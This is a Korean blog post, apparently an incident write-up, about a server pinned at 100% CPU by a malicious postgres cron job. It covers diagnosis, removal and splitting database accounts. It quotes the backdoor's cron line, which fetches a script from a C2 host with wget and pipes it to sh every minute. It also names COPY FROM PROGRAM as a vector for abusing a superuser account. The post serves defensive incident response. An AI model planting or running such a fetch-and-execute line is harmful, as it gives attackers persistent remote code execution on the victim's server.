Record/Trubble Shooting

운영 서버 CPU가 100%로 멈춘 뒤 악성 cron 제거 및 DB 계정 분리한 사례

범데이 2026. 7. 9. 00:38

운영 서버 CPU가 100%까지 치솟아 응답이 멈췄다. 처음에는 새로 추가한 시스템 메트릭 샘플러를 의심했으나, 최종 원인은 postgres OS 유저 crontab에 심어진 악성 wget | sh 스크립트였다. cron 제거 후 API DB 접속을 postgres 슈퍼유저에서 [앱DB계정] 전용 계정으로 분리해 재발 가능성을 줄였다.

 

증상

  • 평소 CPU 약 14% 유지
  • 특정 새벽 02:30 전후 CPU 100% → 서버 응답 불가
  • [API프로세스] 재시작·재부팅 후에도 부하 지속 (cron 미삭제 시)
  • 동시에 시스템 메트릭 테이블 10초 INSERT 로그가 syslog에 대량 기록됨 → 처음엔 메트릭 기능이 원인으로 의심됨

 

어떻게 좁혔나

1) 메트릭 샘플러 의심 (오탐)

  • SystemMetricsManager가 10초마다 CPU/MEM/DISK 측정 후 DB INSERT
  • Node 14 환경에서 디스크 측정 시 execSync('df') 동기 실행 → 이벤트 루프 부담 가능
  • setInterval이 이전 샘플 완료를 기다리지 않아 중복 실행 위험도 있음
  • 로그 타임라인상 악성 cron이 먼저(또는 동시에) 존재했고, 메트릭만으로 100%를 설명하기 어려움

 

2) 결정적 증거 — crontab 확인

sudo crontab -u postgres -l
* * * * * wget -q -O - http://[악성C2_IP]/pg.sh | sh > /dev/null 2>&1
  • 매 1분 외부 IP에서 스크립트 다운로드 후 즉시 실행
  • postgres OS 유저 crontab → DB/서버 침해 후 백도어 패턴
  • wget이 응답 지연 시 프로세스가 쌓임 → CPU·프로세스 한도 고갈

 

3) 타임라인

시각 (서버 로그) 내용
전날 06:26~ 악성 cron 최초 확인 (이후 매분 실행)
당일 02:25~ cron + 시스템 부하 급증
당일 02:30 CPU 100% · 서버 멈춤
당일 03:11 재부팅
당일 03:23~ SSH 접속 → cron 발견·삭제

 

4) 기타 검증 결과

항목 결과
SSH 성공 로그 (침해 당일) 관리자 IP 외 없음
5432 포트 리슨 외부 리슨 없음 (로컬 소켓만)
PostgreSQL COPY FROM PROGRAM 로그 없음
다른 악성 IP [악성C2_IP]만 확인
침입 경로 로그상 확정 불가 (과거 5432 노출·DB superuser 등 가능성)

 

원인

직접 원인

postgres OS 유저 crontab에 등록된 악성 스크립트다. C2 [악성C2_IP]에서 pg.sh를 받아 매분 실행했다.

 

부차 요인

  • wget 프로세스 누적 (응답 지연 시 프로세스가 남음)
  • 시스템 메트릭 10초 INSERT (부하 가중 요인, 주원인 아님)

 

메트릭이 주원인이 아닌 근거

  • 악성 cron 로그가 메트릭과 동시·선행 존재
  • cron 삭제가 CPU 문제 해결의 핵심이었다

 

해결

1) 침해 즉시 대응

# 악성 cron 삭제
sudo crontab -u postgres -r

# 악성 프로세스 종료
sudo pkill -u postgres -f "[악성C2_IP]"

 

재발 확인 (1~2일):

sudo crontab -u postgres -l
ps aux | grep [악성C2_IP]
  • crontab -lno crontab for postgres 확인
  • ps → 해당 IP 관련 프로세스 없음 확인

추가 조치:

  • postgres DB·API db_config.json·관리자 키 비밀번호 교체
  • SSH 22번 → 관리자 IP만 허용 (보안 그룹)
  • (권장) cron만 지운 서버는 완전 복구가 어렵다 — 새 EC2 이전 검토

 

2) DB 계정 분리

API가 postgres 슈퍼유저로 붙으면 SQL 악용 시 COPY FROM PROGRAM 등으로 OS 명령·cron 심기가 가능하다. 이번 악성 cron도 postgres OS 유저에 설치되었다.

계정 역할 용도
postgres 슈퍼유저 마이그레이션·DDL SQL 수동 실행만
[앱DB계정] 앱 전용 API 런타임 — DML만

 

막는 것: API 경유 superuser 기능 악용, 앱 DB 비밀번호 유출 시 피해를 데이터 조작 수준으로 축소

못 막는 것: SSH 침해, API RCE, 이미 심어진 백도어, postgres 슈퍼유저 비밀번호 직접 유출

 

운영 서버는 host 127.0.0.1이다. 로컬 개발 PC에서 원격 DB에 접속할 때는 pg_hba.conf에 본인 IP와 [앱DB계정] 허용 줄을 추가한다.

host    [DB명]    [앱DB계정]    [개발PC_IP]/32    md5
sudo systemctl reload postgresql

 

이후 테이블 추가 시 DDL SQL은 postgres로 실행하고, ALTER DEFAULT PRIVILEGES로 이후 테이블은 자동 권한이 부여된다.

 

3) 메트릭 샘플러 후속 개선 (선택)

침해와 무관하지만 Node 14 운영 환경 부하 완화를 권장한다.

  • 샘플 간격 10초 → 60초
  • recordSample 중복 실행 방지
  • execSync('df') 제거
  • purge를 샘플링 루프에서 분리

 

정리

  1. CPU 급증 시 애플리케이션 로그만 보면 오탐할 수 있다 — crontab, syslog, ps를 먼저 본다.
  2. wget | sh 형태 cron은 악성일 가능성이 높다. 정상 PostgreSQL/Ubuntu 기본 작업이 아니다.
  3. API가 DB superuser면 침해 시 피해가 서버 전체로 확대된다 — 앱 전용 계정 분리가 필요하다.
  4. 계정 분리만으로 모든 침해를 막지는 못한다 — OS·네트워크·비밀번호 조치를 함께 한다.

 

참고

  • 환경: Ubuntu 18.04 · AWS EC2 · Node 14 · PostgreSQL 14
  • wget | sh cron은 C2 서버에서 스크립트를 받아 실행하는 전형적인 백도어 패턴이다.
  • 악성 C2 IP [악성C2_IP]는 방화벽 차단·모니터링 대상으로 둔다.

 

728x90
반응형